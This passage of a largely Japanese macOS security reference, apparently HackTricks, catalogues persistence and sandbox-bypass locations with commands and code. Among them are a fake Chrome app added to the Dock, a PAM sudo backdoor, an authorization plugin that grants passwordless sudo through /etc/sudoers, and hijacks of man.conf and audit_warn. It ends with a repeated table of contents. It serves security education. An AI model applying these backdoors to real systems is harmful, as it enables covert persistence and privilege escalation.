# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)

rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null

# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources

# Payload to execute
echo '#!/bin/sh
open /Applications/Google\ Chrome.app/ &
touch /tmp/ImGoogleChrome' > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome

chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome

# Info.plist
cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF

# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns

# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
killall Dock

カラーピッカー

Writeup: https://theevilbit.github.io/beyond/beyond_0017

サンドボックスをバイパスするのに便利: 🟠
非常に特定のアクションが必要
別のサンドボックスに入ることになる
TCCバイパス: 🔴

場所

/Library/ColorPickers
ルートが必要
トリガー: カラーピッカーを使用
~/Library/ColorPickers
トリガー: カラーピッカーを使用

説明 & エクスプロイト

あなたのコードでカラーピッカー バンドルをコンパイルし（例えば、これを使用できます）、コンストラクタを追加します（スクリーンセーバーセクションのように）そしてバンドルを ~/Library/ColorPickers にコピーします。

その後、カラーピッカーがトリガーされると、あなたのコードも実行されるはずです。

ライブラリを読み込むバイナリは非常に制限されたサンドボックスを持っていることに注意してください: /System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64

[Key] com.apple.security.temporary-exception.sbpl
[Value]
[Array]
[String] (deny file-write* (home-subpath "/Library/Colors"))
[String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers"))
[String] (allow file-read* (extension "com.apple.app-sandbox.read"))

Finder Sync プラグイン

Writeup: https://theevilbit.github.io/beyond/beyond_0026/ Writeup: https://objective-see.org/blog/blog_0x11.html

サンドボックスをバイパスするのに役立つ: いいえ、独自のアプリを実行する必要があります
TCC バイパス: ???

場所

特定のアプリ

説明 & エクスプロイト

Finder Sync 拡張機能を持つアプリケーションの例は こちら で見つけることができます。

アプリケーションは Finder Sync Extensions を持つことができます。この拡張機能は実行されるアプリケーションの内部に入ります。さらに、拡張機能がそのコードを実行できるようにするためには、有効な Apple 開発者証明書で署名されている必要があり、サンドボックス化されている必要があります（ただし、緩和された例外が追加される可能性があります）し、何かに登録されている必要があります:

pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync

スクリーンセーバー

Writeup: https://theevilbit.github.io/beyond/beyond_0016/ Writeup: https://posts.specterops.io/saving-your-access-d562bf5bf90b

サンドボックスをバイパスするのに便利: 🟠
しかし、一般的なアプリケーションのサンドボックスに入ることになります
TCCバイパス: 🔴

ロケーション

/System/Library/Screen Savers
ルートが必要
トリガー: スクリーンセーバーを選択
/Library/Screen Savers
ルートが必要
トリガー: スクリーンセーバーを選択
~/Library/Screen Savers
トリガー: スクリーンセーバーを選択

説明 & エクスプロイト

Xcodeで新しいプロジェクトを作成し、新しいスクリーンセーバーを生成するためのテンプレートを選択します。次に、コードを追加します。例えば、ログを生成するための以下のコードを追加します。

ビルドして、.saverバンドルを**~/Library/Screen Savers**にコピーします。次に、スクリーンセーバーGUIを開き、それをクリックすると、多くのログが生成されるはずです：

sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"'

Timestamp                       (process)[PID]
2023-09-27 22:55:39.622369+0200  localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver void custom(int, const char **)
2023-09-27 22:55:39.622623+0200  localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView initWithFrame:isPreview:]
2023-09-27 22:55:39.622704+0200  localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet]

このコードを読み込むバイナリの権限内に**com.apple.security.app-sandboxが含まれているため、あなたは共通のアプリケーションサンドボックス内**にいることに注意してください。

Saver code:

//
//  ScreenSaverExampleView.m
//  ScreenSaverExample
//
//  Created by Carlos Polop on 27/9/23.
//

#import "ScreenSaverExampleView.h"

@implementation ScreenSaverExampleView

- (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
self = [super initWithFrame:frame isPreview:isPreview];
if (self) {
[self setAnimationTimeInterval:1/30.0];
}
return self;
}

- (void)startAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super startAnimation];
}

- (void)stopAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super stopAnimation];
}

- (void)drawRect:(NSRect)rect
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super drawRect:rect];
}

- (void)animateOneFrame
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return;
}

- (BOOL)hasConfigureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return NO;
}

- (NSWindow*)configureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return nil;
}

__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
}

@end

Spotlight Plugins

writeup: https://theevilbit.github.io/beyond/beyond_0011/

サンドボックスをバイパスするのに便利: 🟠
しかし、アプリケーションサンドボックスに入ることになります
TCCバイパス: 🔴
サンドボックスは非常に制限されています

Location

~/Library/Spotlight/
Trigger: Spotlightプラグインによって管理される拡張子の新しいファイルが作成されます。
/Library/Spotlight/
Trigger: Spotlightプラグインによって管理される拡張子の新しいファイルが作成されます。
Rootが必要
/System/Library/Spotlight/
Trigger: Spotlightプラグインによって管理される拡張子の新しいファイルが作成されます。
Rootが必要
Some.app/Contents/Library/Spotlight/
Trigger: Spotlightプラグインによって管理される拡張子の新しいファイルが作成されます。
新しいアプリが必要

Description & Exploitation

SpotlightはmacOSの組み込み検索機能で、ユーザーにコンピュータ上のデータへの迅速かつ包括的なアクセスを提供することを目的としています。この迅速な検索機能を実現するために、Spotlightは独自のデータベースを維持し、ほとんどのファイルを解析することによってインデックスを作成し、ファイル名とその内容の両方を迅速に検索できるようにしています。

Spotlightの基本的なメカニズムは、**'metadata server'を意味する中央プロセス「mds」に関与しています。このプロセスは、Spotlightサービス全体を調整します。これに加えて、さまざまなメンテナンスタスクを実行する複数の「mdworker」デーモンがあります（ps -ef | grep mdworker）。これらのタスクは、Spotlightがさまざまなファイル形式の内容を理解しインデックス化できるようにするSpotlightインポータープラグイン、または".mdimporter bundles"**によって可能になります。

プラグインまたは**.mdimporterバンドルは前述の場所にあり、新しいバンドルが現れると、数分以内に読み込まれます（サービスを再起動する必要はありません）。これらのバンドルは、管理できるファイルタイプと拡張子**を示す必要があります。このようにして、Spotlightは指定された拡張子の新しいファイルが作成されると、それらを使用します。

すべてのmdimportersを見つけることが可能です。

mdimport -L
Paths: id(501) (
"/System/Library/Spotlight/iWork.mdimporter",
"/System/Library/Spotlight/iPhoto.mdimporter",
"/System/Library/Spotlight/PDF.mdimporter",
[...]

そして、例えば /Library/Spotlight/iBooksAuthor.mdimporter は、これらのタイプのファイル（拡張子 .iba や .book など）を解析するために使用されます：

plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist

[...]
"CFBundleDocumentTypes" => [
0 => {
"CFBundleTypeName" => "iBooks Author Book"
"CFBundleTypeRole" => "MDImporter"
"LSItemContentTypes" => [
0 => "com.apple.ibooksauthor.book"
1 => "com.apple.ibooksauthor.pkgbook"
2 => "com.apple.ibooksauthor.template"
3 => "com.apple.ibooksauthor.pkgtemplate"
]
"LSTypeIsPackage" => 0
}
]
[...]
=> {
"UTTypeConformsTo" => [
0 => "public.data"
1 => "public.composite-content"
]
"UTTypeDescription" => "iBooks Author Book"
"UTTypeIdentifier" => "com.apple.ibooksauthor.book"
"UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor"
"UTTypeTagSpecification" => {
"public.filename-extension" => [
0 => "iba"
1 => "book"
]
}
}
[...]

他の mdimporter の Plist を確認すると、UTTypeConformsTo エントリが見つからないかもしれません。それは、組み込みの Uniform Type Identifiers (UTI) であり、拡張子を指定する必要がないからです。

さらに、システムのデフォルトプラグインは常に優先されるため、攻撃者はApple自身の mdimporters によってインデックスされていないファイルにのみアクセスできます。

独自のインポータを作成するには、このプロジェクトから始めることができます: https://github.com/megrimm/pd-spotlight-importer そして名前、CFBundleDocumentTypes を変更し、サポートしたい拡張子をサポートするために UTImportedTypeDeclarations を追加し、schema.xml に反映させます。次に、処理された拡張子のファイルが作成されたときにペイロードを実行するように、関数 GetMetadataForFile のコードを変更します。

最後に、新しい .mdimporter をビルドしてコピーし、以前のいずれかの場所に配置し、ログを監視するか mdimport -L. をチェックして、それが読み込まれているかどうかを確認できます。

Preference Pane

これがもう機能していないようです。

Writeup: https://theevilbit.github.io/beyond/beyond_0009/

サンドボックスをバイパスするのに便利: 🟠
特定のユーザーアクションが必要です
TCC バイパス: 🔴

Location

/System/Library/PreferencePanes
/Library/PreferencePanes
~/Library/PreferencePanes

Description

これがもう機能していないようです。

Root Sandbox Bypass

ここでは、サンドボックスバイパス に役立つ開始位置を見つけることができ、ファイルに書き込むことによって単純に何かを実行することができ、root であるか、他の奇妙な条件を必要とします。

Periodic

Writeup: https://theevilbit.github.io/beyond/beyond_0019/

サンドボックスをバイパスするのに便利: 🟠
しかし、root である必要があります
TCC バイパス: 🔴

Location

/etc/periodic/daily, /etc/periodic/weekly, /etc/periodic/monthly, /usr/local/etc/periodic
Root 必要
Trigger: 時間が来たとき
/etc/daily.local, /etc/weekly.local または /etc/monthly.local
Root 必要
Trigger: 時間が来たとき

Description & Exploitation

定期的なスクリプト (/etc/periodic) は、/System/Library/LaunchDaemons/com.apple.periodic* に設定された launch daemons によって実行されます。/etc/periodic/ に保存されたスクリプトは ファイルの所有者として実行される ため、これは潜在的な特権昇格には機能しません。

# Launch daemons that will execute the periodic scripts
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
-rw-r--r--  1 root  wheel  887 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-daily.plist
-rw-r--r--  1 root  wheel  895 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-monthly.plist
-rw-r--r--  1 root  wheel  891 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-weekly.plist

# The scripts located in their locations
ls -lR /etc/periodic
total 0
drwxr-xr-x  11 root  wheel  352 May 13 00:29 daily
drwxr-xr-x   5 root  wheel  160 May 13 00:29 monthly
drwxr-xr-x   3 root  wheel   96 May 13 00:29 weekly

/etc/periodic/daily:
total 72
-rwxr-xr-x  1 root  wheel  1642 May 13 00:29 110.clean-tmps
-rwxr-xr-x  1 root  wheel   695 May 13 00:29 130.clean-msgs
[...]

/etc/periodic/monthly:
total 24
-rwxr-xr-x  1 root  wheel   888 May 13 00:29 199.rotate-fax
-rwxr-xr-x  1 root  wheel  1010 May 13 00:29 200.accounting
-rwxr-xr-x  1 root  wheel   606 May 13 00:29 999.local

/etc/periodic/weekly:
total 8
-rwxr-xr-x  1 root  wheel  620 May 13 00:29 999.local

他に、/etc/defaults/periodic.conf に示されている定期的に実行されるスクリプトがあります：

grep "Local scripts" /etc/defaults/periodic.conf
daily_local="/etc/daily.local"				# Local scripts
weekly_local="/etc/weekly.local"			# Local scripts
monthly_local="/etc/monthly.local"			# Local scripts

もし /etc/daily.local、/etc/weekly.local、または /etc/monthly.local のいずれかのファイルを書き込むことができれば、それは遅かれ早かれ実行されます。

定期的なスクリプトはスクリプトの所有者として実行されることに注意してください。したがって、通常のユーザーがスクリプトを所有している場合、そのユーザーとして実行されます（これにより特権昇格攻撃が防止される可能性があります）。

PAM

Writeup: Linux Hacktricks PAM Writeup: https://theevilbit.github.io/beyond/beyond_0005/

サンドボックスをバイパスするのに便利: 🟠
ただし、rootである必要があります
TCCバイパス: 🔴

場所

常にrootが必要

説明と悪用

PAMは持続性とマルウェアにより焦点を当てているため、macOS内での簡単な実行にはあまり焦点を当てていません。このブログでは詳細な説明は行いませんので、この技術をよりよく理解するために書き込みを読んでください。

PAMモジュールを確認するには:

ls -l /etc/pam.d

A persistence/privilege escalation technique abusing PAMは、モジュール/etc/pam.d/sudoを修正し、最初に次の行を追加するだけで簡単に実行できます:

auth       sufficient     pam_permit.so

だから、このように見えるでしょう:

# sudo: auth account password session
auth       sufficient     pam_permit.so
auth       include        sudo_local
auth       sufficient     pam_smartcard.so
auth       required       pam_opendirectory.so
account    required       pam_permit.so
password   required       pam_deny.so
session    required       pam_permit.so

そして、したがって、sudoが機能する試みはすべて成功します。

このディレクトリはTCCによって保護されているため、ユーザーがアクセスを求めるプロンプトが表示される可能性が非常に高いことに注意してください。

もう一つの良い例はsuで、PAMモジュールにパラメータを渡すことも可能であることがわかります（このファイルにバックドアを仕掛けることもできます）：

cat /etc/pam.d/su
# su: auth account session
auth       sufficient     pam_rootok.so
auth       required       pam_opendirectory.so
account    required       pam_group.so no_warn group=admin,wheel ruser root_only fail_safe
account    required       pam_opendirectory.so no_check_shell
password   required       pam_opendirectory.so
session    required       pam_launchd.so

Authorization Plugins

Writeup: https://theevilbit.github.io/beyond/beyond_0028/ Writeup: https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65

サンドボックスをバイパスするのに便利: 🟠
ただし、root権限が必要で、追加の設定が必要です
TCCバイパス: ???

Location

/Library/Security/SecurityAgentPlugins/
Rootが必要
プラグインを使用するために認証データベースを構成する必要があります

Description & Exploitation

ユーザーがログインしたときに実行される認証プラグインを作成して、持続性を維持できます。これらのプラグインの作成方法についての詳細は、前のライティングを確認してください（注意してください、適切に書かれていないものはロックアウトされる可能性があり、リカバリーモードからMacをクリーンアップする必要があります）。

// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
// mkdir -p CustomAuth.bundle/Contents/MacOS
// mv CustomAuth CustomAuth.bundle/Contents/MacOS/

#import <Foundation/Foundation.h>

__attribute__((constructor)) static void run()
{
NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
}

バンドルを読み込む場所に移動します:

cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/

最後に、このプラグインをロードするルールを追加します：

cat > /tmp/rule.plist <<EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>class</key>
<string>evaluate-mechanisms</string>
<key>mechanisms</key>
<array>
<string>CustomAuth:login,privileged</string>
</array>
</dict>
</plist>
EOF

security authorizationdb write com.asdf.asdf < /tmp/rule.plist

evaluate-mechanismsは、認可フレームワークに対して外部メカニズムを呼び出す必要があることを伝えます。さらに、**privileged**はそれをrootによって実行させます。

次のコマンドでトリガーします:

security authorize com.asdf.asdf

そして、スタッフグループはsudoアクセスを持っている必要があります（確認するには/etc/sudoersを読む）。

Man.conf

Writeup: https://theevilbit.github.io/beyond/beyond_0030/

サンドボックスをバイパスするのに便利: 🟠
しかし、rootである必要があり、ユーザーはmanを使用する必要があります
TCCバイパス: 🔴

場所

/private/etc/man.conf
Rootが必要
/private/etc/man.conf: manが使用されるたびに

説明 & エクスプロイト

設定ファイル**/private/etc/man.conf**は、manドキュメントファイルを開くときに使用するバイナリ/スクリプトを示します。したがって、実行可能ファイルへのパスを変更することで、ユーザーがmanを使用してドキュメントを読むたびにバックドアが実行される可能性があります。

例えば、**/private/etc/man.conf**に設定する:

MANPAGER /tmp/view

そして /tmp/view を次のように作成します:

#!/bin/zsh

touch /tmp/manconf

/usr/bin/less -s

Apache2

Writeup: https://theevilbit.github.io/beyond/beyond_0023/

サンドボックスをバイパスするのに便利: 🟠
ただし、root権限が必要で、apacheが実行中である必要があります
TCCバイパス: 🔴
Httpdには権限がありません

Location

/etc/apache2/httpd.conf
Rootが必要
トリガー: Apache2が起動したとき

Description & Exploit

/etc/apache2/httpd.confにモジュールをロードするように指示するために、次のような行を追加できます:

LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"

この方法で、コンパイルされたモジュールがApacheによってロードされます。唯一の注意点は、有効なApple証明書で署名する必要があるか、システムに新しい信頼された証明書を追加し、それで署名する必要があるということです。

その後、必要に応じて、サーバーが起動することを確認するために、次のコマンドを実行できます:

sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist

Dylbのコード例:

#include <stdio.h>
#include <syslog.h>

__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
printf("[+] dylib constructor called from %s\n", argv[0]);
syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
}

BSM監査フレームワーク

Writeup: https://theevilbit.github.io/beyond/beyond_0031/

サンドボックスをバイパスするのに便利: 🟠
ただし、root権限が必要で、auditdが実行中であり、警告を引き起こす必要があります
TCCバイパス: 🔴

場所

/etc/security/audit_warn
Root権限が必要
トリガー: auditdが警告を検出したとき

説明 & エクスプロイト

auditdが警告を検出するたびに、スクリプト**/etc/security/audit_warnが実行されます**。したがって、そこにペイロードを追加することができます。

echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn

sudo audit -nを使用して警告を強制することができます。

スタートアップ項目

これは非推奨であるため、これらのディレクトリには何も見つからないはずです。

StartupItemは、/Library/StartupItems/または/System/Library/StartupItems/のいずれかに配置されるべきディレクトリです。このディレクトリが確立されると、2つの特定のファイルを含む必要があります：

rcスクリプト：スタートアップ時に実行されるシェルスクリプト。
plistファイル：特にStartupParameters.plistという名前のファイルで、さまざまな設定を含みます。

スタートアッププロセスがそれらを認識し利用できるように、rcスクリプトとStartupParameters.plistファイルの両方がStartupItemディレクトリ内に正しく配置されていることを確認してください。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Description</key>
<string>This is a description of this service</string>
<key>OrderPreference</key>
<string>None</string> <!--Other req services to execute before this -->
<key>Provides</key>
<array>
<string>superservicename</string> <!--Name of the services provided by this file -->
</array>
</dict>
</plist>

#!/bin/sh
. /etc/rc.common

StartService(){
touch /tmp/superservicestarted
}

StopService(){
rm /tmp/superservicestarted
}

RestartService(){
echo "Restarting"
}

RunService "$1"

emond

私のmacOSではこのコンポーネントを見つけることができないので、詳細については記事を確認してください

記事: https://theevilbit.github.io/beyond/beyond_0023/

Appleによって導入されたemondは、未発達または放棄された可能性のあるログ記録メカニズムですが、依然としてアクセス可能です。Mac管理者にとって特に有益ではありませんが、この不明瞭なサービスは、脅威アクターにとって微妙な持続性の手段として機能する可能性があり、ほとんどのmacOS管理者には気付かれないでしょう。

その存在を知っている人にとって、emondの悪用を特定することは簡単です。このサービスのシステムのLaunchDaemonは、単一のディレクトリ内で実行するスクリプトを探します。これを調査するには、次のコマンドを使用できます:

ls -l /private/var/db/emondClients

XQuartz

Writeup: https://theevilbit.github.io/beyond/beyond_0018/

Location

/opt/X11/etc/X11/xinit/privileged_startx.d
Rootが必要
トリガー: XQuartzを使用して

Description & Exploit

XQuartzはmacOSにもはやインストールされていませんので、詳細情報が必要な場合は、書き込みを確認してください。

kext

kextをインストールするのは非常に複雑で、ルートとしてもサンドボックスからの脱出や持続性のために考慮しないでしょう（エクスプロイトがない限り）

Location

KEXTをスタートアップアイテムとしてインストールするには、次のいずれかの場所にインストールする必要があります:

/System/Library/Extensions
OS Xオペレーティングシステムに組み込まれたKEXTファイル。
/Library/Extensions
サードパーティソフトウェアによってインストールされたKEXTファイル

現在読み込まれているkextファイルをリストするには:

kextstat #List loaded kext
kextload /path/to/kext.kext #Load a new one based on path
kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle

For more information about kernel extensions check this section.

amstoold

Writeup: https://theevilbit.github.io/beyond/beyond_0029/

Location

/usr/local/bin/amstoold
Root required

Description & Exploitation

明らかに /System/Library/LaunchAgents/com.apple.amstoold.plist の plist は、このバイナリを使用して XPC サービスを公開していました... しかし、そのバイナリは存在しなかったため、そこに何かを置くことができ、XPC サービスが呼び出されるとあなたのバイナリが呼び出されます。

私の macOS ではこれを見つけることができません。

xsanctl

Writeup: https://theevilbit.github.io/beyond/beyond_0015/

Location

/Library/Preferences/Xsan/.xsanrc
Root required
Trigger: サービスが実行されるとき（まれに）

Description & exploit

このスクリプトを実行することはあまり一般的ではないようで、私の macOS では見つけることができませんでしたので、詳細が必要な場合は書き込みを確認してください。

/etc/rc.common

これは最新の macOS バージョンでは機能しません

ここに 起動時に実行されるコマンドを置くことも可能です。 例として通常の rc.common スクリプト:

#
# Common setup for startup scripts.
#
# Copyright 1998-2002 Apple Computer, Inc.
#

######################
# Configure the shell #
######################

#
# Be strict
#
#set -e
set -u

#
# Set command search path
#
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; export PATH

#
# Set the terminal mode
#
#if [ -x /usr/bin/tset ] && [ -f /usr/share/misc/termcap ]; then
#    TERM=$(tset - -Q); export TERM
#fi

###################
# Useful functions #
###################

#
# Determine if the network is up by looking for any non-loopback
# internet network interfaces.
#
CheckForNetwork()
{
local test

if [ -z "${NETWORKUP:=}" ]; then
test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l)
if [ "${test}" -gt 0 ]; then
NETWORKUP="-YES-"
else
NETWORKUP="-NO-"
fi
fi
}

alias ConsoleMessage=echo

#
# Process management
#
GetPID ()
{
local program="$1"
local pidfile="${PIDFILE:=/var/run/${program}.pid}"
local     pid=""

if [ -f "${pidfile}" ]; then
pid=$(head -1 "${pidfile}")
if ! kill -0 "${pid}" 2> /dev/null; then
echo "Bad pid file $pidfile; deleting."
pid=""
rm -f "${pidfile}"
fi
fi

if [ -n "${pid}" ]; then
echo "${pid}"
return 0
else
return 1
fi
}

#
# Generic action handler
#
RunService ()
{
case $1 in
start  ) StartService   ;;
stop   ) StopService    ;;
restart) RestartService ;;
*      ) echo "$0: unknown argument: $1";;
esac
}

永続性技術とツール

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE) GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポートする

サブスクリプションプランを確認してください！
**💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
HackTricksおよびHackTricks CloudのgithubリポジトリにPRを提出してハッキングトリックを共有してください。

サンドボックスバイパス

Launchd

場所

説明と悪用

launchdに関する詳細情報

シェルスタートアップファイル

ロケーション

説明と悪用

再起動されたアプリケーション

場所

説明と悪用

Terminal Preferences

Location

Description & Exploitation

ターミナルスクリプト / その他のファイル拡張子

場所

説明 & 悪用

Audio Plugins

Location

Description

QuickLook Plugins

Location

Description & Exploitation

Login/Logout Hooks

Location

Conditional Sandbox Bypass

Cron

Location

Description & Exploitation

iTerm2

Locations

Description & Exploitation

xbar

Location

Description

Hammerspoon

Location

Description

BetterTouchTool

Location

Alfred

Location

SSHRC

Location

説明と悪用

ログイン項目

ロケーション

説明

ZIPをログイン項目として

at

場所

説明

フォルダーアクション

場所

説明と悪用

Dockショートカット

場所

説明と悪用

カラーピッカー

場所

説明 & エクスプロイト

Finder Sync プラグイン

場所

説明 & エクスプロイト

スクリーンセーバー

ロケーション

説明 & エクスプロイト

Spotlight Plugins

Location

Description & Exploitation

Preference Pane

Location

Description

Root Sandbox Bypass

Periodic

Location

Description & Exploitation

PAM

場所

説明と悪用